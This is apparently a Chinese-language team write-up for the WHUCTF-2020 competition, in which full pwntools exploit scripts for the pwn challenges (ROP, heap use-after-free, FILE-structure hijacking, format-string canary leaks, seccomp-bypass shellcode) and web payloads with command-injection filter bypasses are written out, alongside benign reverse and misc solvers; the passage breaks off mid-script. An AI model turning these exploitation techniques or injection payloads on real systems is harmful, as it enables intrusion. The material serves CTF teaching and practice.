updated:

WHUCTF-2020 WriteUp


PWN

pwnpwnpwn

简单题,改got即可,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from autopwn.core import pwn
from sys import argv

def leak(self, a):
pass

def exp(self, a):
libc = ELF("./libc-2.23.so")
#libc = ELF("/lib/i386-linux-gnu/libc-2.30.so")
esp_0xc = 0x080482e6
write_offset = libc.symbols['write']
system_offset = libc.symbols['system']
write_got = self.elf.got['write']
write_plt = self.elf.plt['write']
read_plt = self.elf.plt['read']
sh_addr = 0x0804A000

payload = 'a' * 0x88 + 'a' * 0x4
payload += p32(write_plt) + p32(esp_0xc)
payload += p32(1) + p32(write_got) + p32(4)
payload += p32(read_plt) + p32(esp_0xc)
payload += p32(0) + p32(write_got) + p32(8)
payload += p32(read_plt) + p32(esp_0xc)
payload += p32(0) + p32(sh_addr) + p32(9)
payload += p32(write_plt) + p32(sh_addr)
payload += p32(sh_addr)

a.rl()
a.sl(payload)
write_addr = unpack(a.recvn(4), 'all')
system_addr = write_addr + system_offset - write_offset
a.sl(p32(system_addr))
a.sl('cat flag\x00')

def get_flag(self, a):
a.interactive()
return

pwn.ctf(argv, exp, get_flag)

shellcode

这题有点意思,有沙盒保护,execve被禁用,seccomp-tools结果如下:

1
2
3
4
5
6
7
8
9
10
11
> # seccomp-tools dump ./pwn                                       
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

这题和pwnable.tw上的orw类似,但是难点在于flag路径未知,因此我们需要想办法dump出目录。

第一步,实现任意文件读:

1
2
3
payload = asm(shellcraft.readfile("/path/to/file", 'rsi'))
payload += asm(shellcraft.read(3, 'rsp', 1000))
payload += asm(shellcraft.syscall("SYS_write", arg0=1, arg1='rsp', arg2=1000))

该shellcode可以从任意文件中读1000字节并打印,对于本题来说已经够用了。

第二步,利用任意文件读收集信息

/etc/issue 中,我们找到系统版本为Ubuntu 16.04,由此确定libc版本为2.23。得到libc版本后为了调用libc中的函数,我们需要得到libc的基地址。这需要用到/proc文件系统的一些知识。可以通过读取/proc/self/maps来获得当前文件的memmap,进而获取libc基地址。

第三步,实现目录读取

我们已经获得libc基地址和libc版本,只需要确定的偏移就可以实现libc中任意函数执行(除了用到execve的函数)。另一的难点在于shellcode的编写,需要注意以下几点:

  • 最好使用一个固定的寄存器来存储libc基址,这个存储器不应当被改动,这里我们使用rbx
  • 每次执行函数时,需要计算函数偏移,存放在一个寄存器中(这里使用rax)。然后call rax

基于以上两点,实现任意函数调用的代码如下:

1
2
3
4
5
“”“
mov rax, rbx
add rax, {}
call rax
""".format(hex(opendir_offset))

接着,我们编译一个现有的读取目录的C程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <unistd.h>
#include <sys/types.h>
#include <dirent.h>
#include <stdio.h>
#include <string.h>

void listdir(const char *name)
{
DIR *dir;
struct dirent *entry;
dir = opendir(name);
while ((entry = readdir(dir)) != NULL) {
printf(entry->d_name);
}
closedir(dir);
}

int main(void) {
listdir(".");
return 0;
}

使用objdump -M intel -d a.out来提取关键代码,最终得到相应的shellcode。将该shellcode与上面的任意文件读代码结合,最终得到完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
from autopwn.core import pwn
from sys import argv

def leak(self, a):
pass


def exp(self, a):
libc = ELF("../libdb/libc6_2.23-0ubuntu11_amd64/libc-2.23.so")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.30.so")
puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']
opendir_offset = libc.symbols['opendir']
readdir_offset = libc.symbols['readdir']
closedir_offset = libc.symbols['closedir']


payload = asm(shellcraft.readfile("/proc/self/maps", 'rsi'))
payload += asm(shellcraft.read(3, 'rsp', 1000))
payload += asm(shellcraft.syscall("SYS_write", arg0=1, arg1='rsp', arg2=1000))
payload += asm(shellcraft.read(0, 'rsp', 8))
payload += asm("pop rbx")
# 读取libc地址,需要根据输出的文件内容手动输入,懒得做匹配
payload += asm(shellcraft.read(0, 'rsp', 32))
# 读取path
shellcode = """
mov rbp, rsp;
lea rdi, [rsp];
sub rsp, 0x28
mov rax, rbx;
add rax, {};
call rax;
mov QWORD PTR [rbp-0x8],rax
jmp get_dir
put_dir:
mov rax,QWORD PTR [rbp-0x10]
add rax,0x13
mov rdi,rax
mov rax, rbx
add rax, {}
call rax
get_dir:
mov rax,QWORD PTR [rbp-0x8]
mov rdi,rax
mov rax, rbx
add rax, {}
call rax
mov QWORD PTR [rbp-0x10],rax
cmp QWORD PTR [rbp-0x10],0x0
jne put_dir
mov rax,QWORD PTR [rbp-0x8]
mov rdi,rax
mov rax, rbx
add rax, {}
call rax
""".format(hex(opendir_offset),
hex(puts_offset),
hex(readdir_offset),
hex(closedir_offset)
)

payload += asm(shellcode)


a.rl()
a.sl("12288")
a.rl()
a.sl(payload)
a.rl()
a.sl('0')
out = a.recvn(1000)
print out
libc_base = int(raw_input("Libc Base: "), 16)

a.send(p64(libc_base))
sleep(0.3)
a.send('/\x00')
#a.recvline()

def get_flag(self, a):
a.interactive()
return

pwn.ctf(argv, exp, get_flag,
bp=0x000000D9E)

运行得到flag路径为/FFFFFFFFFlag/flag,然后利用任意文件读读取即可。

FFF

堆题,观察代码可以看到free之后并没有做清空操作,先利用unsortedbin attack泄露libc:

得到libc基地址后利用fastbin的UAF将堆块分配到malloc_hook附近,然后edit将malloc_hook改为one_gadget即可,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
from autopwn.core import *
from sys import argv

def leak(self, a):
pass


def exp(self, a):
heap = Chunk(64)
choose = lambda x: a.sla("> ", str(x))
mhook_offset = self.lib[0].symbols['__malloc_hook']
fhook_offset = self.lib[0].symbols['__free_hook']
system_offset = self.lib[0].symbols['system']
one_offset = 0x4526a

def add(size):
choose(1)
a.rl()
a.sl(str(size))

def edit(idx, size, text):
choose(2)
a.rl()
a.sl(str(idx))
a.rl()
a.sl(str(size))
sleep(0.5)
a.sendline(text)
sleep(0.3)

def show(idx):
choose(3)
a.rl()
a.sl(str(idx))

def free(idx):
choose(4)
a.rl()
a.sl(str(idx))

add(0x120)
add(0x60)
add(0x60)
add(0x60)
free(0)
show(0)
arena_addr = unpack(a.recvn(6), 'all')
libc_addr = arena_addr - 88 - 0x10 - mhook_offset
mhook_addr = libc_addr + mhook_offset
system_addr = libc_addr + system_offset
one_addr = libc_addr + one_offset
log.success("libc base found: " + hex(libc_addr))

free(1)
free(2)
free(1)

edit(1, 0x9, p64(mhook_addr - 0x23))
edit(3, 0x9, '/bin/sh\x00')
add(0x60)
add(0x60)
edit(5, 0x20, 'a' * 3 + p64(0) + p64(0) + p64(one_addr))
add(0x10)


def get_flag(self, a):
a.interactive()
return

ctf(argv, exp, get_flag,
bp=0x000D3F,
inter='../libdb/libc6_2.23-0ubuntu11_amd64/ld-2.23.so',
needed=['../libdb/libc6_2.23-0ubuntu11_amd64/libc-2.23.so'])

Attention

这题比上一道简单一些,明显的uaf,只要控制bss段ptr就可以实现任意地址读写。为了分配到ptr的位置,我们需要先伪造size,刚好ptr的上方是一个记录用户操作数的count计数器,因此将其设置为0x41即可作为size使用。

先反复申请释放30次,然后进行如下操作:

1
2
3
4
5
6
7
add()
free()
edit(p64(ptr_addr - 0x10), 'aaa')
# 使用UAF将fd改为ptr上方0x10的位置,此时count刚好是0x41
add()
add()
# 分配到ptr

到这一步后,我们已经取得了ptr的控制权,只需要泄露libc,再改got打one_gadget即可:

1
2
3
4
5
6
7
8
9
10
edit(p64(atoi_got), 'aaa')
show()
a.ru('name:')
atoi_addr = unpack(a.recvn(6), 'all')
log.success("Got atoi addr: " + hex(atoi_addr))
one_addr = atoi_addr + one_offset - atoi_offset

#gdb.attach(a)
edit(p64(one_addr), 'aaa')
show()

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from autopwn.core import *
from sys import argv

def leak(self, a):
pass

def exp(self, a):
ptr_addr = 0x0006010B0
atoi_got = self.elf.got['atoi']
one_offset = 0xf1147
atoi_offset = self.lib[0].symbols['atoi']


heap = Chunk(64)
choose = lambda x: a.sla("choice :", str(x))
add = lambda : choose(1)
show = lambda : choose(4)
free = lambda : choose(3)
def edit(name, data):
choose(2)
a.ru("name:\n")
a.send(name)
sleep(1)
a.ru("data:\n")
a.sendline(data)

for i in range(0, 30):
add()
free()

add()
free()
edit(p64(ptr_addr - 0x10), 'aaa')
add()
add()
edit(p64(atoi_got), 'aaa')
show()
a.ru('name:')
atoi_addr = unpack(a.recvn(6), 'all')
log.success("Got atoi addr: " + hex(atoi_addr))
one_addr = atoi_addr + one_offset - atoi_offset

#gdb.attach(a)
edit(p64(one_addr), 'aaa')
show()

def get_flag(self, a):
a.interactive()
return

ctf(argv, exp, get_flag,
inter='../libdb/libc6_2.23-0ubuntu11_amd64/ld-2.23.so',
needed=['../libdb/libc6_2.23-0ubuntu11_amd64/libc-2.23.so'])

heaptrick

这题好烦啊。。。

edit有个不明显的任意地址写0xcafebabe,考虑改global max fast。
先add,free,再add,用unsorted bin泄露libc基地址,然后edit成功改写global max fast。

这篇文章提到修改global max fast后可以进行的操作。这里我们选取一个相当于弱化的任意地址写漏洞。漏洞成因如下:

1
2
3
4
5
6
7
// malloc/malloc.c
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
// 这里根据idx直接获得了main_arena结构体中fasbin数组的响应元素的指针,
// 没有经过任何检查,则意味着我们可以使用一个非常大的size实现数组越界
// #define fastbin(ar_ptr,idx) ((ar_ptr)->fastbinsY[idx])
// 在这段代码之后,fb被设置为了我们要free的chunk的地址

在这里,我们可以使用一个较大的size实现main_arena后方一定范围内的任意地址写,也就是控制了main_arena后的一个指针,且指针指向位置的内容也可控(在堆块中)。cnitlrt师傅的一篇博客提出了可行的做法:劫持_IO_list_all指针,伪造_IO_FILE_plus结构来进行控制流的劫持。

在此之前我们需要大致了解_IO_FILE_plus的结构,这里有点像C++对类的实现,个人认为完全可以将_IO_FILE_plus结构看作一个抽象类,_IO_list_all,stdin,stdout等等都是对该抽象类的一个继承。这意味着除了类属性,这些结构还有其类方法,方法的地址就在虚表中存储。当然,类的存储结构中也会有对应的虚指针。一个大致的例子如下:

到这里,有了类的存储结构,又有了任意地址写,下面的过程就轻松多了。

经过计算和调试可以得知当我们堆块的大小为0x1400时,free之后的堆块地址会写入到_IO_list_all。又有当程序退出时,可能会调用一个名为_IO_flush_all_lockp的函数,该函数的作用是清空缓冲区,保证缓冲区中的内容不丢失。在这里,我们讨论abort函数,当malloc分配出现错误时,该函数将会被用于退出程序。函数部分源码如下:

1
2
3
4
5
6
7
8
/* Flush all streams.  We cannot close them now because the user
might have registered a handler for SIGABRT. */
if (stage == 1)
{
++stage;
fflush (NULL);
// #define fflush(s) _IO_flush_all_lockp (0)
}

可以看到,在这里,_IO_flush_all_lockp函数被调用,该函数部分源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC defined _GLIBCPP_USE_WCHAR_T
(_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)

可以看到,经过一系列检查之后,程序以_IO_list_all为参数调用了_IO_OVERFLOW宏,该宏在libc 2.29下的宏展开结果如下:

libio/strops.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
(
(
IO_validate_vtable
// 在 libc 2.23中没有这个检查
// 因此我们可以伪造vtable
(
(
*(
__typeof__
(
((struct _IO_FILE_plus){}).vtable
)
*)
(
(
(char *) ((fp))
) +
__builtin_offsetof
(
struct _IO_FILE_plus, vtable
)
)
)
)
)->__overflow
) (fp, EOF)

与之前给出的类存储结构对比,不难看出,该宏的作用是调用虚函数表偏移为24的函数。
现在梳理思路:_IO_list_all地址可控 -> _IO_list_all内容可控 -> 虚指针可控 -> 虚表可控 -> 虚表偏移为24的函数会被调用。现在考虑伪造虚指针。

首先,我们可以利用fastbin泄露出一个堆中的地址,进而将虚指针劫持到当前chunk,然后再当前chunk中写入one_gadget即可。注意这里相当于对当前堆块进行了一次复用,将其同时用作结构体本身和虚表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
+
main_arena -> fastbinsY


_IO_list_all +-> +--------------------------+ <------+
prev_size
+ +--------------------------+
fd
+24 +--->---------------------------+
one_gadget
+--------------------------+
write_base:0
+--------------------------+
write_ptr:1
+--------------------------+
....

+--------------------------+
vtable +--------+
+--------------------------+

这时只需要触发abort函数即可执行我们的one_gadget,这里我们随便申请一个除了0x1400大小之外的堆块即可,相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
// 必越界
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp = *fb;
do
{
victim = pp;
if (victim == NULL)
break;
// 对应的bin为空
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
!= victim);
// 如果*MEM等于OLDVAL,则将*MEM存储为NEWVAL,返回OLDVAL;
// 相当于弹出单链表的第一个节点
if (victim != 0)
// 大概率不为0
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
// #define chunksize(p) ((p)->size & ~(SIZE_BITS))
// 当前块的size校验点
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

解释:当我们申请堆块时,fastbinsY数组必定会越界读,读到的地址大概率不为0,这导致malloc对该地址进行进一步检查,由于越界读的数据几乎没有规律,这里很容易触发size校验不通过,进而abort。(free过程中存在类似的操作,由此看来,之前0x1400能free成功有一定运气存在。。)

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
from autopwn.core import *
from sys import argv

def leak(self, a):
pass


def exp(self, a):
from pwn import *
from autopwn.core import *
from sys import argv

def leak(self, a):
pass

def exp(self, a):
choose = lambda x: a.sla("xit\n", str(x))
mhook_offset = self.lib[0].symbols['__malloc_hook']
gmf_offset = 0x3c67f8
one_offset = 0xf1147

def add(length, content):
choose(1)
a.sla("gth:\n", str(length))
if 'Too' in a.recvline():
return
a.send(content)

def free(idx):
choose(2)
a.sla("Id:\n", str(idx))

def getheap():
choose(666)
return int(a.rl()[:-1], 16)

def edit(content):
choose(3)
a.ru("Name:\n")
a.send(content)

add(0x100, 'aaa') # 0
add(0x100, 'bbb') # 1
add(0x1400, 'ccc')
add(0x91, 'ddd')
free(0)
add(0x100, '\n') # 0
a.recvline()
libc_addr = (0x78 - 0xa) + unpack(a.recvn(6), 'all') - 88 - 0x10 - mhook_offset
log.success("Got libc addr: " + hex(libc_addr))
gmf_addr = gmf_offset + libc_addr
one_addr = one_offset + libc_addr
edit('a' * 0x20 + p64(gmf_addr))

add(0x91, 'fff')
add(0x91, 'eee')
free(4)
free(3)
add(0x91, '\n')
a.recvline()
heap_addr = unpack(a.recvn(6), 'all') - 0x13ea
log.success("Got chunk addr: " + hex(heap_addr))

free(2)
payload = p64(one_addr) * 2
payload += p64(0) + p64(1)
payload = payload.ljust(0xc8,"\x00")
payload += p64(heap_addr)
add(0x1400, payload)
#gdb.attach(a)
free(2)

add(0x100, 'aaa')

def get_flag(self, a):
a.interactive()
return

ctf(argv, exp, get_flag,
inter='../libdb/libc6_2.23-0ubuntu11_amd64/ld-2.23.so',
needed=['../libdb/libc6_2.23-0ubuntu11_amd64/libc-2.23.so'])

arbitrary

简单题,任意地址写(function one)外加格式化字符串(function three)再加上栈溢出(function two)。本题依据为同一函数重入后canary不变。
先用function two将canary放到栈中,先用格式化字符串泄露ELF基地址,libc基地址,canary,再用任意地址写改写关键变量为function two续一秒。再次执行function two,栈溢出打one gadget即可。exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
from autopwn.core import *
from sys import argv

def leak(self, a):
pass

def exp(self, a):
choose = lambda x: a.sla('choice>>\n', str(x))
libc_main_offset = self.lib[0].symbols['__libc_start_main']
wro_offset = 0x000202050
rto_offset = 0x000202048
fmo_offset = 0x00020204C
main_offset = self.elf.symbols['main']
one_offset = 0x45216

def fmt(data):
choose(3)
a.recvlines(2)
a.sl(data)

def write(addr):
choose(1)
a.sla("data:\n", str(addr))

def readtwo(data1, data2):
choose(2)
a.sla("data:\n", data1)
a.sla("data:\n", data2)

#gdb.attach(a)
readtwo('a', 'a')

fmt_pl = '%p ' * 4 + '%p\n%p\n%p\n'
fmt_pl += '%p\n%p\n%p\n'

fmt(fmt_pl)
a.recvline()
main_addr = int(a.recvline()[:-1], 16) - 159
a.recvline()
canary = int(a.recvline()[:-1], 16) & ~(0xff)
# keep alignment
a.recvline()
libc_main_addr = int(a.recvline()[:-1], 16) - 240
rto_addr = main_addr + rto_offset - main_offset
wro_addr = main_addr + wro_offset - main_offset
fmo_addr = main_addr + fmo_offset - main_offset
one_addr = libc_main_addr + one_offset - libc_main_offset

log.success("Got canary: " + hex(canary))
log.success("Got main addr: " + hex(main_addr))
log.success("Got libc main addr: " + hex(libc_main_addr))

write(rto_addr)
payload = 'a' * (0x40 - 0x8) + p64(canary) + 'a' * 8 + p64(one_addr)
#gdb.attach(a)
readtwo('a', payload)

def get_flag(self, a):
a.interactive()
return

ctf(argv, exp, get_flag,
inter='../libdb/libc6_2.23-0ubuntu11_amd64/ld-2.23.so',
needed=['../libdb/libc6_2.23-0ubuntu11_amd64/libc-2.23.so'])

overflow

题解

漏洞类似于数组越界读写,可泄露libc基地址,而且给了bss段中的global变量地址。
通过bss中的stdin指针泄露libc,同时该指针指向libc中的_IO_2_1_stdin_结构,该结构被scanf使用。

大致思路:劫持stdin指针到global -> 在global中伪造_IO_file_plus结构 -> 通过scanf触发。

第一部很简单,我们主要研究第2,3步。

查看scanf源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
int
__scanf (const char *format, ...)
{
va_list arg;
int done;

va_start (arg, format);
done = _IO_vfscanf (stdin, format, arg, NULL);
va_end (arg);

return done;
}
ldbl_strong_alias (__scanf, scanf)

注意这里的_IO_vfscanf函数使用了stdin作为参数,在底层对stdin的寻址是通过got表来实现的。刚好我们的主程序中引用了stdin变量,这意味着stdin在主程序的bss段拥有一个副本。根据一个变量只能拥有一个副本的原则,我们可以判断libc中stdin的got表指向elf文件的bss段中的stdin指针(实际上这个重定位过程在程序启动时由ld来完成)。这意味着劫持bss段中的stdin指针是可行的。

接下来的内容见这篇博客,详细介绍了构造payload的限制条件和最终执行的函数,这里不再赘述。

最终exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
from autopwn.core import *
from sys import argv

def leak(self, a):
pass

def exp(self, a):
choose = lambda x: a.sla("Choice:", str(x))

def get(offset):
choose(1)
a.rl()
a.sl(str(offset))
a.recvline()

def put(offset, size, content):
choose(2)
a.sla("set:\n", str(offset))
a.sla("ize:\n", str(size))
a.sla("data:\n", content)

global_offset = self.elf.symbols['global']
system_offset = self.lib[0].symbols['system']

a.rl()
global_addr = int(a.rl()[:-1], 16)

get(-48)
libc_base = unpack(a.recvn(6), 'all') - 0x3c48e0
log.success("Got libc_base: " + hex(libc_base))
system_addr = libc_base + system_offset

#gdb.attach(a)
#a.interactive()
file_struct = '12;sh' + '\x00' * 3
file_struct += p64(0) * 11
file_struct += p64(0) * 5
file_struct += p64(global_addr - 0x10)
file_struct += p64(0) * 9
file_struct += p64(global_addr + 224)
vtable = p64(system_addr) * 9
payload = file_struct + vtable
put(0, -1, payload)
#gdb.attach(a)
put(-48, 8, p64(global_addr))

pass

def get_flag(self, a):
a.interactive()
return

ctf(argv, exp, get_flag,
inter='../libdb/libc6_2.23-0ubuntu11_amd64/ld-2.23.so',
needed=['../libdb/libc6_2.23-0ubuntu11_amd64/libc-2.23.so'])

另:顺便摘抄libc关于vtable中函数的解释如下:

finish

The 'finish' function does any final cleaning up of an _IO_FILE object. It does not delete (free) it, but does everything else to finalize it. It matches the streambuf::~streambuf virtual destructor.

overflow

The 'overflow' hook flushes the buffer. The second argument is a character, or EOF. It matches the streambuf::overflow virtual function.

underflow

The 'underflow' hook tries to fills the get buffer. It returns the next character (as an unsigned char) or EOF. The next character remains in the get buffer, and the get position is not changed. It matches the streambuf::underflow virtual function.

uflow

The 'uflow' hook returns the next character in the input stream (cast to unsigned char), and increments the read position; EOF is returned on failure. It matches the streambuf::uflow virtual function, which is not in the cfront implementation, but was added to C++ by the ANSI/ISO committee.

pbackfail

The 'pbackfail' hook handles backing up. It matches the streambuf::pbackfail virtual function.

xsputn

The 'xsputn' hook writes upto N characters from buffer DATA. Returns EOF or the number of character actually written. It matches the streambuf::xsputn virtual function.

xsgetn

The 'xsgetn' hook reads upto N characters into buffer DATA. Returns the number of character actually read. It matches the streambuf::xsgetn virtual function.

seekoff

The 'seekoff' hook moves the stream position to a new position relative to the start of the file (if DIR==0), the current position (MODE==1), or the end of the file (MODE==2). It matches the streambuf::seekoff virtual function. It is also used for the ANSI fseek function.

seekpos

The 'seekpos' hook also moves the stream position, but to an absolute position given by a fpos64_t (seekpos). It matches the streambuf::seekpos virtual function. It is also used for the ANSI fgetpos and fsetpos functions.

setbuf

The 'setbuf' hook gives a buffer to the file. It matches the streambuf::setbuf virtual function.

sync

The 'sync' hook attempts to synchronize the internal data structures of the file with the external state. It matches the streambuf::sync virtual function.

doallocate

The 'doallocate' hook is used to tell the file to allocate a buffer. It matches the streambuf::doallocate virtual function, which is not in the ANSI/ISO C++ standard, but is part traditional implementations.

sysread

The 'sysread' hook is used to read data from the external file into an existing buffer. It generalizes the Unix read(2) function. It matches the streambuf::sys_read virtual function, which is specific to this implementation.

syswrite

The 'syswrite' hook is used to write data from an existing buffer to an external file. It generalizes the Unix write(2) function. It matches the streambuf::sys_write virtual function, which is specific to this implementation.

sysseek

The 'sysseek' hook is used to re-position an external file. It generalizes the Unix lseek(2) function. It matches the streambuf::sys_seek virtual function, which is specific to this implementation.

sysclose

The 'sysclose' hook is used to finalize (close, finish up) an external file. It generalizes the Unix close(2) function. It matches the streambuf::sys_close virtual function, which is specific to this implementation.

sysstat

The 'sysstat' hook is used to get information about an external file into a struct stat buffer. It generalizes the Unix fstat(2) call. It matches the streambuf::sys_stat virtual function, which is specific to this implementation.

showmany

The 'showmany' hook can be used to get an image how much input is available. In many cases the answer will be 0 which means unknown but some cases one can provide real information.

imbue

The 'imbue' hook is used to get information about the currently installed locales.

评:又是虚函数又是析构函数什么的,真就面向对象了呗

REVERSE

RE1

本题比较简单,就是算着挺麻烦,输入的约束条件很容易看出来,据此使用z3求解如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from z3 import *

a = Int('a')
b = Int('b')
c = Int('c')
d = Int('d')
e = Int('e')
f = Int('f')
g = Int('g')

solver = Solver()
solver.add(a+b+c==15,
a+d+g==15,
d+e+f==15,
b+e+9==15,
g+9+2==15,
c+f+2==15)
solver.add(a >= 0, a <= 9,
c >= 0, c <= 9,
d >= 0, d <= 9,
e >= 0, e <= 9,
f >= 0, f <= 9,
g >= 0, g <= 9,
b >= 0, b <= 9)
solver.add(a != e,
f != b,
g != b,
e == 5,
d != e,
c != e,
a != c)
solver.check()
ans = solver.model()
print ans

RE2

程序具有一定的迷惑性,循环部分实际上是一个3n+1问题,放在这里也没有什么用(功能上),但可以据此判断出flag的长度为30。当flag长度符合时进行加密程序,就是一个简单的异或。动调时可以看到异或使用的数表为[0x25, 0x87, 0xa4, 0x42]。然后写个脚本对密文再异或一遍即可:

1
2
3
4
5
6
7
cipher = '\x43\xEB\xC5\x25\x5E\xC2\xDE\x1D\x7D\xE8\xD6\x1D\x66\xE8\xCA\x24\x50\xF4\xC1\x1D\x46\xE8\xCA\x26\x4C\xF3\xCD\x2D\x4B\xFA\x43\x49\x44\x66\x75\x32\x68\x90\xA8\xB3'
xortable = [0x25, 0x87, 0xa4, 0x42]
out = ''
for i in range(0, 30):
out += chr(ord(cipher[i]) ^ xortable[i % 4])

print(out)

RE3

看着挺吓人的,根据字符串表中58个字符的table,推测是换表base58,字符串搞出来转换一下即可=-=

MISC

check-in

没什么好说的,flag就在git仓库里

版权保护

这里找到每个汉字对应的URL Escape Code,然后分别去除,将剩余的两种三字节编码分别替换为0和1,转字符串即可。

颜文字

颜文字是aaencode,解密得到字符串我猜扫码得不到flag,但,也许呢?;,zip压缩包是伪加密,patch之后解压得到图片,图片颜色反转,补上定位标,扫码得到出题人的bilibili空间。空间提示“来找key”,加之图片的LSB位有点什么东西,猜测是某种LSB隐写。尝试使用cloacked pixel解密,key为空间中标签“1234”,解密得到16进制串,反转得到png文件头,导出为png即得flag。

(套,就硬套

wechat_game

text文件夹下文件内容疑似翻转(实际上就是,最近ctf总有这种套路),恢复后直接搜索字符串即可

被汇编支配的恐惧

密码是ISBN号,题目与D^3的一道misc类似,解压后就拼图,加栅格:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import PIL
from PIL import Image
import itertools

f_list = [Image.open(str(i) + '.bmp') for i in range(1, 101)]
res = Image.new(mode='RGBA', size=(100, 100), color=(256, 256, 256))
for i in range(0, 100):
x_pos = (i % 10) * 10
y_pos = (i / 10) * 10
res.paste(f_list[i], (x_pos, y_pos))

res.save("out.png")

a = [i for i in range(0, 100)]
for pix in itertools.product(a, a):
if pix[0] % 4 == 2 or pix[0] % 4 == 2:
res.putpixel(pix, (0, 0, 0, 255))

res.save("out2.png")
res.show()

最后猜出flag为WHUCTF{GUANG_SH@N}

佛系青年BingGe

佛曰得16进制字符串,栅栏密码,去密码机器列举解密,cyberchef转字符串即可。

WEB

ezcmd

很简单的命令执行,用反斜杠绕关键字,base64绕flag字符串过滤,$IFS$9绕空格过滤即可:

1
curl '218.197.154.9:10016?ip=127.0.0.1;ec\ho$IFS$9ZmxhZy5waHAKbase64$IFS$9-dxargs$IFS$9ca\t'

ezphp

前两关出自njuctf,最后一关反序列化字符逃逸。都能搜到,payload如下:

1
curl -d "username=peri0dxxxxxxxxxxxxxxxxxxxx%22%3Bi%3A1%3Bs%3A6%3A%22123456%22%3B%7D" "http://218.197.154.9:10015?num=23333%0a&str1=11230178&str2=240610708"

CRTPTO

Bivibivi

题目就是简单的av bv相互转换,知乎有大佬发过脚本。不过还是pow比较有密码学内味,求一个同余方程,用z3求解即可,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from z3 import *
from pwn import *
import re
context.log_level = 'debug'
def passpow(a, b, c, d):
x = Int('x')

mod = z3.Function('mod', z3.RealSort(),z3.RealSort(), z3.RealSort())
solver = Solver()
solver.add((a * x + b - c) % d == 0)
solver.check()
ans = solver.model()
print ans
return str(ans)[5:-1]

table='fZodR9XQDSUm21yCkr6zBqiveYah8bt4xsWpHnJE7jL5VG3guMTKNPAwcF'
tr={}
for i in range(58):
tr[table[i]]=i
s=[11,10,3,8,4,6]
xor=177451812
add=8728348608

def dec(x):
r=0
for i in range(6):
r+=tr[x[s[i]]]*58**i
return (r-add)^xor

def enc(x):
x=(x^xor)+add
